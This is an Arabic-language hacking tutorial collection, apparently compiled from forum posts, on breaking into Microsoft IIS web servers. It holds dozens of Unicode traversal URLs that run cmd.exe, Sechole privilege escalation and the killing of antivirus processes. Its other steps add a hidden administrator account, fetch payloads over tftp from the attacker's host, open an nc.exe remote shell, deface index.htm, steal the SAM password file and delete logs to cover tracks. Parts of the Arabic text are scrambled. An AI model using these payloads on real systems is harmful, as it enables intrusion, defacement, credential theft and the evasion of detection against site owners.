ت الـ  ف ملفا حذ خلال  ر  ب System32 من مجلد Logوتتم هذه العملیة من    -:واسطة الام
/c+del+c:/winnt/system32/logfiles/*.log 

  
.... 

 
 
 

  
  
  
  
  
  
  
  
  
  
  

tftp.exe  حالة تنفیذ ل في  ل الاب لوود ویجب ان یكون شغا ج اللازم لعم رنام وهو الب
ر   الام

"-i"  ت ت في مكتبة الملفا ء البیانا  وهو بمثابة بارامیترز لزوم قرا
ص بك  1.1.1.1  رقم الایبي الخا

GET ل ل والاستقبا ت مابین الارسا ر اللازم لطلب الملفا  وهو الام
index.htm ف ب   جهازكاسم المل

\inetpub\wwwr
oot\ ر رف ل في السی   اسم الدلی

index.htm  ر رف ف على السی  اسم المل
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 ) "الجزء الثاني(الإختراق عن طریق الیونیكود " 
  

$$$$$$$$$$$$$$  
  :XDEMONXالكاتب 

$$$$$$$$$$$$$$  
  

ر اساسیة یستطیع الجمیع تطبیقها  ر فا اما في هذا الدرس.. في  الدرس الأول  كان عبارة عن اوام لأم
ء والمهارة  ض الذكا  ..یتطلب بع

  
  :البدایة 

-------------- 
 

خ مجلد) یونیكود(ما  عند وجود موقع مصاب بثغرة  cmd1 الى cmd فان اول شي علیك القیام به هو نس
ریقة  : بهذه الط

C+copy+c:\winnt\system32+ 
c:\winnt\system32\cmd1.exe ر ل ام   .. Echo الكتابة والسبب هو تفعی

ف الجدید ر فقط ) الجمیع  هذا شي یعرفه ) CMD1.exe وبعد ذلك نفذ الثغرة من المل   !لكن للتذكی
 

ت الموقع من المتصفح  حك لملفا ت من.. الان عند تصف حیا صلا  خلال هذه الثغرة فانه سیكون لدیك 
IWAM_USER ینتمي للمجموعه وهذا المستخدم هو عبارة عن یوزر Guest وهو الیوزر المسؤوول 
ر رف ل سی  . IIS عن تشغی

رة  Guest مجموعة وبما انه من ت كثی حیا صلا ء !! فهو لا یملك    :)الا اذا تم اعداده بشكل سي
 

ت  حصول على روو حاولة ال ر ادمانا من م  Microsot في اما nix* هذا في انظمة:) لایوجد شي اكث
ف  ضع مختل ت:) فالو حیا صلا حصول على  حاولة ال س Administrator فإن م بالسهولة التي تتوقعها  لی

ت ممكن فقط:)  حلي في انظمة مایكروسوف ت بشكل م ق قلیلة لا یتعدى عددها اصابع الید  فرفع الامتیازا ر بط
حده  ح.. الوا ضوع لاشر حساب  وانا اكتب هذا المو حصول على  ر وال رف حكام السیطرة على السی كیفیة ا

ر  ء للمدی  ..موارد النظام  والتمتع بجمیع:) مكافي
ت المطلوبة ا +   :لملفا

Sechole.exe حقاتها  . ومل
Kill.exe  

Tlist.exe  
ncx99.exe  

tftpd32.exe  
  

  .. :)جهز العده 
حد هنا ت جمعتها في مجلد وا ر الوق   لتوفی

ل كل اداة  ح عم   :الان سأشر
 
١- Sechole  حلي ت بشكل م رفع الامتیازا ریقة.. وهو اقوى استثمار موجود ل ط ) بشكل مبسط(عمله  و

صدع في نواة ویندوز ان تي  خلاله.. بأنه یعتمد على  ر النظام یقوم  یستطیع من  اغتصاب عملیة تابعه لمدی
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رفع امتیازاتك  خلالها ب  :) .من 
  
 
٢-list  ل بالخلفیه ت التي تعم ض جمیع العملیا ل.. تقوم بعر روول  والفائده منها هو اقفا الانتي + الفای

روس    :)فای
٤-Kill.exe حیث ستقومعملها متم ل رقم العملیة المستخرج من الاداة السابقة  م للاداة السابقة   .باقفا
٥NCX99 الباكدوور نسخه مطورة من NC  ت على المنفذ   ٩٩ینص

4- TFTP32.exe  ر رف ت الى السی   ..لنقل الملفا
 
  
 

ق كان عبارة عن مقدمه  حقیقي سیبدأ الان :) كل ما سب ل ال   :اما العم
 
  
  

رفع ج ر اولا قم ب رف ق الى السی ت الساب  ..میع الادوا
ل   :بهذا الشكل مثلا  ncx99.exe ثم قم بتشغی

exe.99ncx\:C+c/exe?.1cmd/32system/winnt../À¯/..scripts/target://http  
ت بعد ذلك قم ب ل بالموقع على البور   ..٩٩الاتصا

ر ر اوام حصل على سط ت بدون CMD ست  . Guest = امتیازا
ل الاداة ت التي .. TLIST الان قم بتشغی ض لك جمیع العملیا ل  ستعر حث عن رقم العملیة.. تعم  قم بالب

PID  روس ان وجد ص بالانتي فای ت جدار ناري  وكذلك اذا.. الخا   ..وجد
ص ب PID سجل رقم روول على ورقهالخا روس والفای   ..جانبیه  الانتي فای

ء بالاداة را   :)تضع رقم العملیة  PID مكان .. KILL.exe PID : بهذا الشكل Kill الان قم بقتل الاج
ض  روس ؟! یسأل البع ل الانتي فای ف من اقفا روس .. الاجابة  مالهد رة من انتي فای خی ت الا حدیثا أن الت
ل مع ح  .. اكدورعلى انه ب Sechole تتعام ت السابقة بنجا ل.. والان بعد اتمام العملیا  قم بتشغی

Sechole.exe :) من المتصفح . 
 

ت  .. Administrators الى مجموعه IWAM_USER عندها سیتم رفم امتیازا
ت الان حیا ریه وبدون اي مشاكل في الصلا ح ل ال ر بكام  . Access Denided بإمكانك تنفیذه جمیع الاوام

ر الایكووطبعا اهم شي رئیسیة بام حه ال  :  الكتابة على الصف
C+Echo+Hacked+by+XDeMoNX+ 

> +C;\inetpub\wwwroot\index 
.htm  

 
س هذا كل شي    ..ولكن لی

ر حثون فقط عن تغیی ء لا یب حتوي على  القراصنه الاذكیا خصوصا اذا كان الموقع مهم او ی رئیسیة  حه ال   الصف
ت ت او قواعد بیانا خ  ... معلوما   ):إل

 
خول بهذا الیوزر ؟: سؤال  خدمه IWAM_USER هل تستطیع الد ف تي بي ؟؟ الى اي  ت او ا  مثل تلن

رفع امتیزاته لكننا لا.. لا : الاجابة  حیح اننا قمنا ب رور  ص تكون مسنده بشكل س الانه! نملك كلمه الم
  .عشوائي 
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ض الى ر البع ره  سیذهب تفكی ف السام وكس حصول على مل  .لكن یوجد ماهو اسهل . .هذا ممكن :) ال
رور  Administrator حساب مكافي لـ بما اننا لدینا ضافه یوزر. ولكننا لا نملك كلمة الم جدید  ما رأیك بإ

ضا  ر ای ت المدی خاصه بك مع امتیازا ء!! :) باسمك مع باسورد  ل من الذكا ر  قلی   :)والتفكی
ر التالي  ف السط ض ء مستند نصي جدید وا   :قم بانشا

net user Demon pass /add && net localgroup administrators Demon 
/add والان Save as حفظها باسم  . add.bat وا
ضیح  ء مجلد دفعاتي یقوم: تو ء یوزر جدید ما فعلناه سابقا هو انشا رور Demon بانشا  Pass وكلمة م

ضافته الى مجموعة الادمنستریتورز  ء  :)وا  ..المدرا
ف رفع المل   )بواسطة الیونكود(ثم تشغیلها من المتصفح  add.bat قم الان ب

ر  حساب مدی خدمه :) الان لدیك  خول الى اي  ت.. وتستطیع الد ت او ن ف تي بي او تلن رها  ا   :)بیوس او غی
ضافة الابواب الخلیة الخاصة ت القادمه  لا تنسى في النهایة مسح الاثار وا را خول في الم ل الد   :)بك لتسهی

ریقة لكل( هذا الجانب لانه طبعا لن اتوسع في  ط خ  حكم في !) شی ء ادواته والت خفا حد له اسلوب في ا وكل وا
ت   .الملفا

 
رجع  ..لنقطة سابقة  ن

روول ؟؟ لماذا ؟ ل الفای ت منك اقفا طلب ر اني   هل تذك
ت رب ر لو ج ر الان سي  netstat -an تنفذ الام ر اوام خلال سط ر.. من  القلب  فانك ستجد من المنافذ ما یس

(:  
حمیة بجدران نار  90% ت م خلتها وكان ت اللي د را رف ت المنفذ:) من السی حا بدون  139 وجد فیها مفتو
خیار :)حمایه  ر من  رول قد یجعل لك اكث ل الفای ف  لذا فان اقفا   ...:)لاسقاط الهد
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 "معلومات عامة عن كیفیة الاستفادة من ثغرات الیونیكود "
  

$$$$$$$$$$$  
  بلاك هنتر: تبالكا

$$$$$$$$$$$  
ت ض المتطلبا ر الیونیكود مع بع ر عب رف حكم في السی م عن اسالیب الت ضوع یتكل   المو

  
ت المطلوبه    :الادوا

ت یونیكود) ١ را   اداة مسح ثغ
ر ) ٢ رف ج سی رنام   TFTPDب
  معرفة جیده بالیونیكود) ٣

=================================================  
ت الیونیكود من العدید من المواقع او من موقعي بأمكانك ال)١ را   حصول على ثغ
/com.k2devil.www://http   بلاك هنتر (( وهذه مهداه مني انا((  

/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/

cmd.exe?/c+dir+c:\ 
/msadc/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+

c:\ 
/msadc/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/sy

stem32/cmd.exe?/c+dir+c:\ 
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 

/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c
:\ 

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 
/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir+c:\ 
/msadc/..%%35c../..%%35c../..%%35c../winnt/system32/cmd.exe?/c+dir+

c:\ 
/msadc/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.ex

e?/c+dir+c:\ 
/msadc/..%25%35%63../..%25%35%63../..%25%35%63../winnt/system32/

cmd.exe?/c+dir+c:\ 
/MSADC/..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir

+c:\ 
/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+

dir+c:\ 
/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/

cmd.exe?/c+dir+c:\ 
/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/s

ystem32/cmd.exe?/c+dir+c:\ 
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.

exe?/c+dir+c:\ 
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/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/c
md.exe?/c+dir+c:\ 

/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../wi
nnt/system32/cmd.exe?/c+dir+c:\ 

/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%
35%63../winnt/system32/cmd.exe?/c+dir+c:\ 

/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 
/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ 
/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/

c+dir+c:\ 
/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cm

d.exe?/c+dir+c:\ 
/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 

/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\ 
/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir

+c:\ 
/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe

?/c+dir+c:\ 
/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.

exe?/c+dir+c:\ 
/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/c

md.exe?/c+dir+c:\ 
/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../wi

nnt/system32/cmd.exe?/c+dir+c:\ 
/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%

35%63../winnt/system32/cmd.exe?/c+dir+c:\ 
/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32

/cmd.exe?/c+dir+c:\ 
/cgi-

bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.
exe?/c+dir+c:\ 

/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32
/cmd.exe?/c+dir+c:\ 

/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32
/cmd.exe?/c+dir+c:\ 

/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/syste
m32/cmd.exe?/c+dir+c:\ 

/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.e
xe?/c+dir+c:\ 

/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.e
xe?/c+dir+c:\ 
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/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.
exe?/c+dir+c:\ 

/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c
:\ 

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\ 

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di
r+c:\ 

/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+c:\ 

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 

/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\ 

/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ 

/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ 
/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\ 

/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system
32/cmd.exe\?/c+dir+c:\ 

/cgi-
bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd

.exe?/c+dir+c:\ 
/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system3

2/cmd.exe?/c+dir+c:\ 
/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/syste

m32/cmd.exe?/c+dir+c:\ 
/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system3

2/cmd.exe?/c+dir+c:\ 
/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system3

2/cmd.exe?/c+dir+c:\ 
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/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/syste
m32/cmd.exe?/c+dir+c:\ 

 
 
ج )٢ رنام حصول على ب   com.t4.iisbughelp://http/   من الموقعTFTPD بأمكانك ال
  
ت)٣ ر الملفا ت وعب ر الهاردیسكا ل عب ف تستطیع الانتقا ف كی    معرفة الیونیكود بسیطه جدا یكفي ان تعر
ر المتصفح ( ل عب   )تعم

/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+C:\  

ل هاردیسك  خ  C:\لقرائه ما بدا
/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+

dir+D:\  
ل هاردیسك  خ  D:\لقرائه ما بدا

/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+E:\  

ل هاردیسك  خ   E:\لقرائه ما بدا
ت مبتدأه بالمجلد المطلوب  را ل على ثغ ت وهنا مثا را ى ما به من ثغ ر ل سكان على الموقع لن (( نقوم بعم

ت  ق من هذه المجلدا ت الیونیكود تنطل را   )) اغلب ثغ
  
ل المجلد )١  msadcمثا

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di
r+C:\ 
ل المجلد ) ٢   vti_bin_مثا

/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+
dir+C:\ 

ت  را رف ت اسم معین وهو )) بشكل عادي ((  عند تركیبها IISفي سی ح رئیسي للویب ت   :یكون المجلد ال
otwwwro\Inetpub\:C  

 او في المجلد
wwwroot\Inetpub\:D  
 او في المجلد
wwwroot\Inetpub\:E  

حي على انه هناكCفي العاده یكون في الهاردیسك  ل شر   ولذلك سأكم
رفرستجد في هذا المجلد عادة جمیع المواقع الت   ي على السی

  
  فلو وجدنا ثغرة یونیكود ما ولتكن

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di
r+c:\  

ره هكذا  ى ما به فسنكتب الثغ ر ف لن  :وأردنا الولوج الى هذا المل
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di

r+C:\Inetpub\wwwroot 
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حوي عدة مواقع فستجدها كل موقع باسمه  ر ی رف ل مجلد الـ ( اذا كان السی خ ت بدا ستجدها في مجلدا
wwwroot )ر عباره رف ت في مجلد الـ   اما لو كان السی حد فقط فستجد كافة الملفا عن موقع وا

wwwrootنفسه   
رئیسیه الاولى وعل حة ال ر الصف رئیسیه في اغلب الظن یقوم الهاكر بتغیی حة ال س دائما الصف م انه لی یك ان تعل

ل اسم  حم   index.htmالاولى ت
ت لها وهذه بعضها  ختصارا ت وأ   ))معظمها (( هناك عدة تسمیا

index.htm  
index.asp 

default.htm 
default.asp 

main.htm 
main.asp 

 
رئیسیه للموقع في مجلدنا  حة ال ض الان اننا وجدنا ان الصف ر ف index.htm هي wwwrootلنف  فكی

ریبا من عملیة رها وهو ما یهمنا تق ق هذه سنقوم بتغیی خترا ف من  الا ر اسم المل سنقوم اولا بتغیی
index.htm ر ببالك ولیكن ر یخط خ ر ثغرة الیونیكود من  ss.htm الى اي اسم ا ر عب رسل الام طبعا سن

ر الداله  ر التي علیك ان((   c+ren الى الداله c+dirالمتصفح لدیك وسنقوم بتغیی ف ان الاوام  تعر
ر الموجوده في  س الاوام  فعلیك ان تكون عارفا بما Command Prompt وفي Dosسوتضع هي نف

راد استخدامه ر الم   هو الام
ره هكذا    :المهم ستكتب الثغ

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+re
n+C:\Inetpub\wwwroot\index.htm+ss.htm 

حة من  ر اسم الصف   ss.htm الى index.htmوهكذا فقد تم تغیی
  ؟:) ارأیتم كم هو سهل 

A ضوع حة بمو صف ت ترید ان تضع  رئیسیه للموقع فان حة ال ق الصف ق لم تكتفي باغلا یبدو انك ایها المختر
ضوع هو ر ولیكن المو خ حة   !!!Hacked   ا صف رسلها في  ف سن   ؟؟index.htmفكی
ق ومنها ر ط ل بمنفذ هناك عدة  ر الاتصا ریقه وهي عب ر هذه الط ت في TFTP سأذك  الذي ستكون فیه ان

ر والموقع الذي امامك رف ضع السی ت  و ضع الكلاین   في و
ف سیتم هذا ؟    كی
   

ر  رف ج (  على جهازك TFTPاولا قم بتركیب نظام سی رام ضوع من افضل الب ج المذكور في اول المو رنام الب
حترافا و ر ا ر اكث خ ج ا رنام   )لكن هذا یكفي وهناك ب

رئیسي في  ر ال رف ضع السی    لدیكC:\الان 
ریعه وسمها  خفیفه وس حة  صف م  ضعها في index.htmقم بتصمی   C:\ و

ف الجدید من  ر المل رف رسل للسی رید ان ن فC:\الان ن   wwwroot\inetpub\:C  لدینا الى مل
صعبا ففي نظم ر  س الام ر لا لی ت یوجد ام رنامجا منفصلا ((  میكروسوف ل اسم )) هو بالأصح ب حم  TFTPی

ت بسیط یستخدم روتوكول    وهو عباره عن كلاین ض ((  وهو بروتوكول بسیط جدا جدا TFTPب یسمیه البع
روتوكول التافه  ت من والى الجهاز)) الب ل الملفا حب او ارسا حب ملفا من جهازنا   ویقوم بس رید ان یس حن ن ن

ف       لنا ذلك ؟فكی
ر التالي  ر الیونیكود لكتبنا تولیفة الام   :طبعا لو كنا في غی

htm .XXX get index.XXX.XXX.i XXX-exe .tftp
htm.index\wwwroot\inetpub\:C  
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 ))XXX.XXX.XXX.XXX ف منه حب المل راد س ر الم رف  )) تعني اي بي السی
ف المسمى  ت بطلب المل ر یقوم الكلاین ضعه في جهازه في المجلد index.htmفي تولیفة هذا الام  لی

wwwroot  
ضع الیونیكود ضع العادي عن و ف من الو ر یختل ل ؟  ولكن لا تنسى فشكل تولیفة الاوام ح   فما هو ال

ره التي لدیك ر الى یونیكود لتضعه في الثغ حول تولیفة الام ل هو ان ت ح   ال
ر الى یونیكود سیصبح شكله كالتالي بعد ت ل الام   :حوی

tftp.exe+"-
i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\index.htm  

روعه لقد تجاوزنا العقبه بالفعل    :)یالل
   

ر الـ  رف ل سی ف الـ TFTPالان قم بتشغی   index.htm وقم بتجهیز مل
ر ثغرة الیونیكو ل مع الموقع عب حو وقم بالاتصا ف الیها هذه التولیفه لیصبح في النهایه على هذا الن ضا د الم

:  
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+t

ftp.exe+"-
i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\index.htm  

 
ت وانتیهنا من عملی حة الى الانترن ل الصف می ح ق وهكذا قمنا بت خترا ریبا (( ة الا   :) ))تق

حوظه  ت : مل ل ملفا می ح ل EXEیمكنك ان تقوم بت س الاسلوب وهذا مثا ر بنف رف ضا وتشغیلها على السی   : ای
ف  ل مل می ح رید ت ض اننا ن ر ر وسمیناه EXEلنف رف ف لنا ذلك ؟hunter.exe على السی رید تشغیله فكی    ون

  :سنتبع الاتي 
ر كما ق رف ف على السی ل المل می ح ل نقوم بت می ح ضعه في index.htmمنا بت ر هذه C:\ ون ر عب رف  للسی

  :التولیفه 
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+t

ftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+hunter.exe+C:\hunter.exe  
 

ر ر تنفیذ هذا الام ف سنشغله عب ل المل می ح   بعد ان یتم ت
  

/msadc/..%c1%9c../..%c1%9c../..%c1%9c../hunter.exe  
ر ق هذا الام ری ط  او عن 

/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+
hunter.exe 

 
ت اللوج   حد فقط الا وهو مسح ملفا ل وا ر عم رف ء بقي لدینا في السی  *.logالآن وقد قاربنا على الانتها

ر  ق هذا الام ری ط  :وسیكون ذلك عن 
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+d

el+C:\*.log/s 
ت  ت ذا ضا وهي مثل الملفا حها ای ت ویفضل مس ض المعلوما ت یتم تخزین فیها بع ى من الملفا ر خ هناك انواع ا

  tmpالامتداد 
ر الیونیكود  حها عب ر مس   :وهذا ام

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+d
el+C:\*.tmp/s 
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ر اسمائهم او  ض بذك ر كما یفعل البع رف ت عنك في السی حوظه مهمه وهي ان لا تبقى اي معلوما ضا مل ای
ء یدل علیك حقیقیه قم بمسح اي شي ق  ایمیلاتهم ال خترا حاول ان تصل الى هذا (( او على عملیة الا

  ))المستوى 
ء والا ف هناك عدد من الاشیا ر على مل روس ما او ام ل فای ق الیها مثل ارسا ر حتى تتمكن batفكار لن اتط  

ل ر لكي لا یعم رف ره في السی ضع مشكله كبی   من و
ج  رام ق ب ری ط ر عن  رف رز نفسك لدیهم في السی ت النظام او ان تم حو جمیع ملفا روس یقوم بم او ان ترسل فای

خفائها بشكل جید حكم عن بعد و ا ت ال الت ت ذا ر في المجلدا ت الكثی ر (( system32مثل (( ملفا  والكثی
ر   الكثی

<><><><><><><><><><><><><><><><><><><><><><><><><><><><><>  
  

ت  حوظا ق علیك عن : مل ری ت یقومون بقطع الط را رف ض السی ت فهناك بع حالا ره في كل ال ل هذه الثغ لن تعم
ف  ق مسح مل ری رفراتهمtftpط    من سی

ف المسؤول عن ذلك موجود( ت بعملیة الترقیع ) system32 في المجلد  المل ت قام را رف ض السی ((  وبع
ره  ت ترقیعا لهذه الثغ ت میكروسوف   ))اصدر

ل اصطیاد لمثل هذه  ج الصادر والوارد وقد یقوم بعم راقبة الباكی ر وول یقوم بم ضع فای وبعضهم قد یكون وا
ت   العملیا

حمایه القوي جدا في نظم  ج ال رنام رون یقومون بتركیب ب خ  من شركة Secure IIS الا وهو IISوا
Eeye  

ضوع  ت ولكن عند كتابة هذا المو ر (( والعدید العدید من العقبا حوالي اربعة اشه ٩٠كان ما یقارب )) قبل 
ت التي فیها نظام %  را رف   IISمن السی

ره وبدون ترقیع  حوي هذه الثغ ر)) لعدم وجوده وقتها (( ت ل المدی   .او لأهما
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  "IISلكامل لإختراق سيرفر الدلیل ا" 
  

$$$$$$$$$$$$  
  DEMON :الكاتب

$$$$$$$$$$$$  
 

----------  
  -: مقدمة 

---------  
ت را رف م الجمیع مدى انتشار سی ت  حیث IIS یعل ل مواقع الانترن ر المستخدمة في تشغی   ..تشكل النسبة الاكب

ضعف م الجمیع مدى  ت  ویعل را رف حیة الامنیة لهذه السی ت هذا النوع لذا .. النا را ر ثغ ت القیام بجمع اشه قرر
ضیح كیفیة عملها  مع   .تو
 

---------  
حظة    -: ملا

---------  
ت معظم را رف ل على سی ق الموجودة هنا تعم ر ت  IIS5.0 و IIS4.0 الط )) ٨٠وجمیعها تعتمد على البور

خلال المتصفح   )) .یعني من 
 

-------------  
ت    -: المتطلبا

-------------  
١-Scanner -CGI  أنا افضل.. جید( Whisker هذا الموقع  یمكنك تنزیله من: 

rfp/net.wiretrip.www )  
ل -٢ ر ف بی لاكتی ر ت البی ل ملفا  ) com.activestate.www://http/ :یمكنك تنزیله من الموقع( لتشغی
ر -٣ رف   .. IIS اباتشي او )اي نوع (ویب سی
 

----------------------- 
IIS Hack.exe : -  

------------------------  
ء الامن في شركة را خب ف  ل نسخه ذكیة من ثغرة امنیة eEye اكتش می ح وجعلها  nc.exe تسمح لك بت

ت على المنفذ     ..٨٠تنص
ر  سیعطیكوهذا ر اوام ت cmde.exe سط   . Administrator مع امتیازا

  . com.technotronic.www://http/ من الموقعexe . IIS Hackوexe . NCبامكانك انزال
ر في رف ل ویب سی   ..جهازك قبل تنفیذ الثغرة  ویجب تشغی

خ اداة رئیسي للویب nc.exe قم بنس ل ال ضعها في الدلی ر لدیك  و رف  IIS وفي (Htdocs في اباتشي(سی
ل   . wwwroot الدلی

ل   : IISHack.exe ثم قم بتشغی
exe .>iishack\:c/com.target.www://httpexe .ncx/ your_IP80  

ح الخطوة السابقة  وبعد اتمام   :بنجا
>nc \:c/com.target.www://http وستجد امامك eGG SheLL  
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حظة  ت :ملا را رف ل هذه الثغرة على سی   )) .اذا لم یتم تركیب الرقعه((فقط  IIS4.0 تعم
 

do you want me to explain what to do next, hey common you must be 
kidding  

...hehe....  
 

-----------------------  
MDAC = RDS :-  
-----------------------  

ت ارى ان (اعتقد انها ثغرة قدیمة قلیلا    ..المواقع تعاني منها  من% ٤٠لكني ما زل
ف بشكل رك على النظام الهد ل اوام حلي  تسمح لك هذه الثغرة بتشغی رك بصفتك مس.. م ل وام  تخدمسیتم تشغی

SYSTEM  ر النظام ت مدی حیا ت معرفة اذا ما كان النظام مصابا بهذه  على.. اي بصلا العموم اذا ارد
  ..الثغرة ام لا 

ف قم اولا ل بالنظام الهد ل  2w -nw ->nc \:c : /com.host.www://http 80 بالاتصا ثم قم بارسا
ر   GET /msadc/msadcs.dll HTTP : الام

رد   )) ..اذا لم یتم ترقیعه (( النظام مصاب  فهذا یعني ان application/x_varg : فإذا كان ال
ل تسهل علیك ر ت بی ل في هذا الموقع  بامكانك ایجاد سكربتا  )) rfp/net.wiretrip.www :العم

mdac.pl - msadc2.pl )) v  
c:\> mdac.pl -h host.com  

Please type the NT commandline you want to run (cmd /c assumed):\n  
cmd /c  

رئیسیة ما علیك الا تنفیذ حه ال ر الصف ت تغیی ر إذا ارد  < echo hacked by me hehe : الام
C:\inetpub\wwwroot\index.htm  

حكام ال وإذا أردنا لا می ح  اقصد Hacker's Swiss knife Army سیطرة على الموقع بامكاننا ت
Nc.exe  ر   :بواسطة هذا الام

%systemroot%&&tftp -i YourIP GET nc.exe&&del ftptmp&& attrib -r 
nc.exe&&nc.exe -l -p 80 -t -e cmd.exe  

ءته جیدا( ر من الیسار الى الیمین لتتمكن من قرا ءة الام  ) قم بقرا
ف على المنفذ ب ل بالنظام الهد ت٨٠عدها قم بالاتصا ر مع امتیازا ر اوام   . Administrator  وستجد سط

 
 

------------------------------------------------- 
Codebrws.asp & Showcode.asp :-  

--------------------------------------------------  
ت ء ملفا ر  IIS یأتي مع ASP الملفان عبارة عن قاري ضیا بل یجب على مدی ل افترا حم ولكنه لا یأتي م

  ..النظام تفعیله 
ف ءة اي مل را قهي تسمح لك بقرا ت هذه الخدمة مفعلة ستسفید منها كثی اعني رؤیة )) asp. فإذا كان

  )) .المصدر
ف السام  حصل على مل ر ست   )) :النظام مصابا  اذا كان(( باستخدام هذا الام

_.sam/repair/nt...samples/msadc/com.victim.www://http  
ف السام بعد حصول على مل ) LC3.0 باستخدام الاداة المفضلة لدي .. Expand it & Crack it ال

